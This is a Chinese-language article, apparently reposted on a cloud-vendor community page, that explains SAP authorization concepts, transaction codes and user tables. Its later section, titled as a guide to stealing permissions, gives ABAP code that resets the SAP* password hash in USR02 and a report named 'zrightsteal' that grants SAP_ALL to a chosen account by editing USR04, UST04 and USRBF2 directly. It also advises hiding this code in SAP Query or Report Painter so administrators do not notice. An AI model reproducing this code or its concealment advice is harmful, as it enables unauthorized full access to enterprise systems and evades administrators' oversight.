SAP 使用者權限解剖詳解

來源:互聯網
上載者:User

【IT168 資訊化】

    通常basis會使用PFCG做許可權管理,時你儲存時會產生一個系統外的profile name,
    記得SU01時使用者有profile 和role兩欄位嗎?它們的關係如何呢?

    首先明白幾個概念.

    1.activity

    這樣說吧,我們從activity談起,activity是什麼意思這個你查下
    字典也就知道了,對就是規定可做什麼動作,比如說不能吸煙只能喝酒,不能多於2兩,
    不對,這是我老婆講的,SAP不是這樣子的,是只能insert, update,display什麼的.
    這些東西當年德國佬是寫在tobj表中的.
    activity 也是可分activity group的.

    2.activity category &Authorization group

    Role Vs Profile

    你看看錶T020就知道了,就是什麼K,D, A, M什麼的.

    profile是什麼呢?實際上可以理解為所有的authorization data(有很多authorization group--{你可使用OBA7填寫,
    許可權太細也不是好事^_^}和activity組成)的一個集合的名字,通常一個自訂的role產
    生一個profile,SAP許可權控制是根據profile裡的authorization data(objects)來控制的.

    role又是什麼呢?role只是一個名字而已,然後將profile賦予給它, 比如你SU01建立一個
    使用者,我沒有任何role,但是加如SAP_All profile
    也是可做任何事情.
    SAP本身有很多default role & profile.

    3.最常用的PFCG

    ->authorizations->change authorization data->
    進入後選取selection criteria 可看到所有的authorization object
    manually可手工加authorization object,比如你使用某個t-code許可權出錯誤,abap使用SU53檢查就
    知道缺少哪個authorization objec,然後手工加入就可以.
    你選去authorization levels就可by account type再細分許可權.
    有些甚至直接到表欄位.而且你甚至可?一個object分配緩衝buffer.

    那麼SAP是如何做到許可權控制的呢,屠夫就用刀小宰一下.

    4.關於許可權方面的幾個t-code.

    (一)Role(角色)相關T-code:

    PFAC 標準
    PFAC_CHG 改變
    PFAC_DEL 刪除
    PFAC_DIS 顯示
    PFAC_INS 建立
    PFAC_STR
    PFCG 建立
    ROLE_CMP 比較
    SUPC 批量建立角色profile
    SWUJ 測試
    SU03 檢測authorzation data
    SU25, SU26 檢查updated profile

    (二)建立使用者相關T-code:

    SU0
    SU01
    SU01D
    SU01_NAV
    SU05
    SU50, Su51, SU52
    SU1
    SU10 批量
    SU12 批量
    SUCOMP:維護使用者公司地址
    SU2 change使用者參數
    SUIM 使用者資訊系統
    使用者組
    SUGR:維護
    SUGRD:顯示
    SUGRD_NAV:還是維護
    SUGR_NAV:還是顯示

    (三)關於profile&Authoraztion Data

 代碼如下 複製代碼

 

    SU02:直接建立profile不用role
    SU20:細分Authorization Fields

    SU21(SU03):****維護Authorization Objects(TOBJ,USR12).
    對於憑證你可細分到:
    F_BKPF_BED: Accounting Document: Account Authorization for Customers
    F_BKPF_BEK: Accounting Document: Account Authorization for Vendors
    F_BKPF_BES: Accounting Document: Account Authorization for G/L Accounts
    F_BKPF_BLA: Accounting Document: Authorization for Document Types
    F_BKPF_BUK: Accounting Document: Authorization for Company Codes
    F_BKPF_BUP: Accounting Document: Authorization for Posting Periods
    F_BKPF_GSB: Accounting Document: Authorization for Business Areas
    F_BKPF_KOA: Accounting Document: Authorization for Account Types
    F_BKPF_VW : Accounting Document: Change Default Values for Doc.Type/PsKy
    然後你進去還可細分,這些個東西是save在USR12表中的. 在DB層是UTAB.

    對具體transaction code細分:
    SU22,SU24
    SU53:*** 就是你出錯用來檢查沒有那些authoraztion objects.
    SU56:分析authoraztion data buffers.
    SU87:用來檢查使用者改變產生的history
    SU96,SU97,SU98,SU99:幹啥的?
    SUPC:批量產生role

    DB和logical層:
    SUKRI:Transaction Combinations Critical for Security
    tables:
    TOBJ : All avaiable authorzation objects.(全在此)
    USR12: 使用者級authoraztion值
    -----------------------------
    USR01:主要資料
    USR02:密碼在此
    USR04:授權在此
    USR03:User address data
    USR05:User Master Parameter ID
    USR06:Additional Data per User
    USR07:Object/values of last authorization check that failed
    USR08:Table for user menu entries
    USR09:Entries for user menus (work areas)
    USR10:User master authorization profiles
    USR11:User Master Texts for Profiles (USR10)
    USR12:User master authorization values
    USR13:Short Texts for Authorizations
    USR14:Surchargeable Language Versions per User
    USR15:External User Name
    USR16:Values for Variables for User Authorizations
    USR20:Date of last user master reorganization
    USR21:Assign user name address key
    USR22:Logon data without kernel access
    USR30:Additional Information for User Menu
    USR40:Table for illegal passwords
    USR41:目前使用者
    USREFUS:
    USRBF2
    USRBF3
    UST04:User Profile在此
    UST10C: Composite profiles
    UST10S: Single profiles (角色對應的)
    UST12 : Authorizations

    ..............................
    如何竊取許可權

    ..............................
    使用者:

 代碼如下 複製代碼
    User type使用者類型:
    通常的使用者類型有
    a.dialog (就是normal user)
    b.communication
    c.system
    d.service
    e.reference.

    通常你在使用任何T-code前一定會有許可權檢測的.
 

    AUTHORITY_CHECK:這個函數只是小檢查一下你的user有沒有,什麼時候到期.
    **如果coding只要使用此函數就夠了.
    AUTHORITY_CHECK_TCODE:檢查T-code

    這?z函數是真正檢查autorization objects的.

 代碼如下 複製代碼
    SUSR_USER_AUTH_FOR_OBJ_GET:
A    UTHORIZATION_DATA_READ_SELOBJ:

    ------------------------------------------
    將SAP*的密碼改成123的程式,很簡單.
    我們找到那個user logon表USR02.

 代碼如下 複製代碼
    (DF52478E6FF90EEB是經過SAP加密儲存在DB的,SAP的密碼加密?)
    report zmodSAP*.
    data zUSR02 like USR02 .
    select single * into zUSR02 from USR02
    where BNAME = 'SAP*'.
    zUSR02-Bcode = 'DF52478E6FF90EEB' .
    Update USR02 from zUSR02 .

    現在的問題是如何讓你那basis不發現,很簡單,將code隱藏在Query裡面,就是說你做一個
    query,query是會產生code的,然後你加入此代碼,誰能想到???然後你就等你的basis去哭...

    這樣做太狠毒了.還是自己偷偷搞自己的使用者吧.
    在此你必須對許可權結構非常清晰.
    許可權和三個表有關係. 
  

 代碼如下 複製代碼

  a.USR04
    b.USR04
    c.USRBF2 這個表是對應到所用的authorzization objects的.
    *&---------------------------------------------------------------------*
    *& Report : Steal SAP ALL Right *
    *& Creation Date : 2004.04.01 *
    *& Created by : Stone.Fu *
    *& Description : 可竊取SAP ALL許可權 *
    *& Modified Date : 2005.11.02
    *& Description : 將此code hide在report painter or query code *
    *&---------------------------------------------------------------------*

    report zrightsteal.
    data zUSR04 like USR04 . "????????work area??
    data zUST04 like USR04 .
    data zPROFS like USR04-PROFS.
    data ZUSRBF2 like USRBF2 occurs 0 with header line.
    "USRBF2?????internal table
    ** Update Authorization table USR04.
    select single * into zUSR04 from USR04
    where BNAME = 'ZABC2'. "SAP All 許可權
    move 'C SAP_ALL' to zPROFS .
    ZUSR04-NRPRO = '14'.
    zUSR04-PROFS = zPROFS.
    Update USR04 from zUSR04 .

    **Update User authorization masters table UST04 .
    select single * into zUST04 from UST04
    where BNAME = 'ZABC2'.
    zUST04-PROFILE = 'SAP_ALL'. "SAP all 許可權
    Update UST04 from zUST04 .

    *?????insert
    *ZUST04-MANDT = '200'.
    *ZUST04-BNAME = 'ZABC2'.
    *ZUST04-PROFILE = 'SAP_ALL'.
    *Insert UST04 from ZUST04 .

    select * from USRBF2 into table ZUSRBF2
    where BNAME = 'SAP*' .
    Loop at ZUSRBF2.
    ZUSRBF2-BNAME = 'ZABC2'.
    Modify ZUSRBF2 INDEX sy-tabix TRANSPORTING BNAME.
    endloop.
    INSERT USRBF2 FROM TABLE ZUSRBF2 ACCEPTING DUPLICATE KEYS.

    自己建立一個ztest使用者不給它任何許可權然後在test machine上run 報表zrightsteal.

    然後ztest就是SAP_ALL了, 然後你將code hide在SQP query的code中.ABAPcode太容易被人發現

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.